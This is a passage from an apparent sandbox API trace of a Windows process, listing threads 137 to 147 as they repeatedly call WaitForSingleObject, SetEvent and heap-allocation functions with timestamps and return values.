(hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.067] SetEvent (hEvent=0x190) returned 1 [0063.067] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.124] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.187] SetEvent (hEvent=0x190) returned 1 [0063.187] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.699] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.854] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.612] SetEvent (hEvent=0x190) returned 1 [0064.612] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.647] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.686] SetEvent (hEvent=0x190) returned 1 [0064.686] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.732] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.785] SetEvent (hEvent=0x190) returned 1 [0064.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.844] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.911] SetEvent (hEvent=0x190) returned 1 [0064.911] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.986] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.112] SetEvent (hEvent=0x190) returned 1 [0065.112] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 137 os_tid = 0x7b4 [0059.335] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.343] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.704] SetEvent (hEvent=0x190) returned 1 [0059.704] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.871] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.014] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.059] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.101] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.067] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.124] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.187] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.699] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.854] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.610] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.647] SetEvent (hEvent=0x190) returned 1 [0064.647] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.685] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.732] SetEvent (hEvent=0x190) returned 1 [0064.732] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.783] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.844] SetEvent (hEvent=0x190) returned 1 [0064.844] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.910] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.986] SetEvent (hEvent=0x190) returned 1 [0064.986] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.110] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.158] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 138 os_tid = 0x7f8 [0059.335] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.343] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.585] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.858] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.622] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.057] SetEvent (hEvent=0x190) returned 1 [0062.057] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.099] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.065] SetEvent (hEvent=0x190) returned 1 [0063.065] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.122] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.185] SetEvent (hEvent=0x190) returned 1 [0063.185] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.434] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.738] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.609] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.646] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.684] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.730] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.783] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.843] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.909] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.984] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.110] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.157] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 139 os_tid = 0x7ac [0059.335] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.343] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.585] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.870] SetEvent (hEvent=0x190) returned 1 [0059.870] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.014] SetEvent (hEvent=0x190) returned 1 [0062.015] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.058] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.101] SetEvent (hEvent=0x190) returned 1 [0062.101] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.066] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.125] SetEvent (hEvent=0x190) returned 1 [0063.125] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.186] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.699] SetEvent (hEvent=0x190) returned 1 [0063.699] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.869] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.612] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.648] SetEvent (hEvent=0x190) returned 1 [0064.648] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.686] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.733] SetEvent (hEvent=0x190) returned 1 [0064.733] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.845] SetEvent (hEvent=0x190) returned 1 [0064.845] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.911] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.987] SetEvent (hEvent=0x190) returned 1 [0064.987] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.112] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 140 os_tid = 0x68c [0059.335] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.348] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1000) returned 0x3b8c460 [0059.348] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x2000) returned 0x3b8c460 [0059.349] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x4000) returned 0x3b8c460 [0059.349] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x180) returned 0x2afdd0 [0059.349] SetEvent (hEvent=0x190) returned 1 [0059.349] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.705] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.870] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.014] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.058] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.101] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.066] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.125] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.187] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.699] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.869] SetEvent (hEvent=0x190) returned 1 [0063.869] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.613] SetEvent (hEvent=0x190) returned 1 [0064.613] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.648] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.687] SetEvent (hEvent=0x190) returned 1 [0064.687] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.733] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.786] SetEvent (hEvent=0x190) returned 1 [0064.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.845] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.912] SetEvent (hEvent=0x190) returned 1 [0064.912] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.987] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.113] SetEvent (hEvent=0x190) returned 1 [0065.113] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 141 os_tid = 0x4a4 [0059.335] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.348] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1000) returned 0x3ba0490 [0059.348] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3ba0490, Size=0x2000) returned 0x3ba0490 [0059.348] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3ba0490, Size=0x4000) returned 0x3b8c460 [0059.348] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x8000) returned 0x3ba0490 [0059.348] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.705] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.081] SetEvent (hEvent=0x190) returned 1 [0060.081] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.022] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.055] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.113] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.176] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.359] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.700] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.870] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.613] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.649] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.687] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.733] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.846] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.912] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.987] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.113] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 142 os_tid = 0x420 [0059.335] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.347] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1000) returned 0x3b98480 [0059.347] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b98480, Size=0x2000) returned 0x3b98480 [0059.347] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b98480, Size=0x4000) returned 0x3b8c460 [0059.347] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x8000) returned 0x3b98480 [0059.347] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.705] SetEvent (hEvent=0x190) returned 1 [0059.705] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.081] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.023] SetEvent (hEvent=0x190) returned 1 [0062.023] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.063] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.055] SetEvent (hEvent=0x190) returned 1 [0063.055] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.113] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.176] SetEvent (hEvent=0x190) returned 1 [0063.176] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.358] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.700] SetEvent (hEvent=0x190) returned 1 [0063.700] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.869] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.613] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.648] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.687] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.733] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.845] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.912] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.987] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.113] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 143 os_tid = 0x4cc [0059.336] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.344] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x180) returned 0x27f1c0 [0059.344] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x0, Size=0x1000) returned 0x3b8c460 [0059.344] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x2000) returned 0x3b8c460 [0059.344] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x4000) returned 0x3b8c460 [0059.344] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x3b8c460, Size=0x8000) returned 0x3b90470 [0059.347] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.704] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.870] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.013] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.058] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.100] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.066] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.123] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.186] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.435] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.853] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.611] SetEvent (hEvent=0x190) returned 1 [0064.611] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.646] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.685] SetEvent (hEvent=0x190) returned 1 [0064.685] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.731] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.784] SetEvent (hEvent=0x190) returned 1 [0064.784] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.843] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.910] SetEvent (hEvent=0x190) returned 1 [0064.910] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.985] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.111] SetEvent (hEvent=0x190) returned 1 [0065.111] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 144 os_tid = 0x858 [0059.336] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.547] SetEvent (hEvent=0x190) returned 1 [0059.547] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.731] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.096] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.023] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.065] SetEvent (hEvent=0x190) returned 1 [0062.065] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.055] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.114] SetEvent (hEvent=0x190) returned 1 [0063.114] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.176] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.360] SetEvent (hEvent=0x190) returned 1 [0063.360] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.715] SetEvent (hEvent=0x190) returned 1 [0063.715] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.889] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.619] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.654] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.693] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.739] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.791] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.851] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.976] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.102] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.137] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 145 os_tid = 0x8e4 [0059.336] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.546] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.731] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.108] SetEvent (hEvent=0x190) returned 1 [0060.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.050] SetEvent (hEvent=0x190) returned 1 [0062.050] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.093] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.058] SetEvent (hEvent=0x190) returned 1 [0063.058] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.116] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.179] SetEvent (hEvent=0x190) returned 1 [0063.179] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.402] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.725] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.890] SetEvent (hEvent=0x190) returned 1 [0063.890] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.638] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.678] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.723] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.777] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.835] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.903] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.977] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.103] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.143] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 146 os_tid = 0xbf4 [0059.336] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.546] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.731] SetEvent (hEvent=0x190) returned 1 [0059.731] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.108] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.048] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.092] SetEvent (hEvent=0x190) returned 1 [0062.092] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.057] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.115] SetEvent (hEvent=0x190) returned 1 [0063.115] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.177] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.401] SetEvent (hEvent=0x190) returned 1 [0063.402] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.725] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.890] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.638] SetEvent (hEvent=0x190) returned 1 [0064.638] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.678] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.723] SetEvent (hEvent=0x190) returned 1 [0064.723] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.776] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.836] SetEvent (hEvent=0x190) returned 1 [0064.836] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.903] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.977] SetEvent (hEvent=0x190) returned 1 [0064.977] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.103] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0065.143] SetEvent (hEvent=0x190) returned 1 [0065.143] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 147 os_tid = 0x64 [0059.337] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.546] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.730] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0060.095] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.024] SetEvent (hEvent=0x190) returned 1 [0062.024] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.064] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.056] SetEvent (hEvent=0x190) returned 1 [0063.056] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.114] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.177] SetEvent (hEvent=0x190) returned 1 [0063.177] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.359] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.714] SetEvent (hEvent=0x190) returned 1 [0063.714] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.880] SetEvent (hEvent=0x190) returned 1 [0063.880] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.617] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.653] SetEvent (hEvent=0x190) returned 1 [0064.653] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.691] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.738] SetEvent (hEvent=0x190) returned 1 [0064.738] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.790] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0064.850] SetEvent (hEvent=0x190) returned 1 [0064.850] WaitForSingleObject 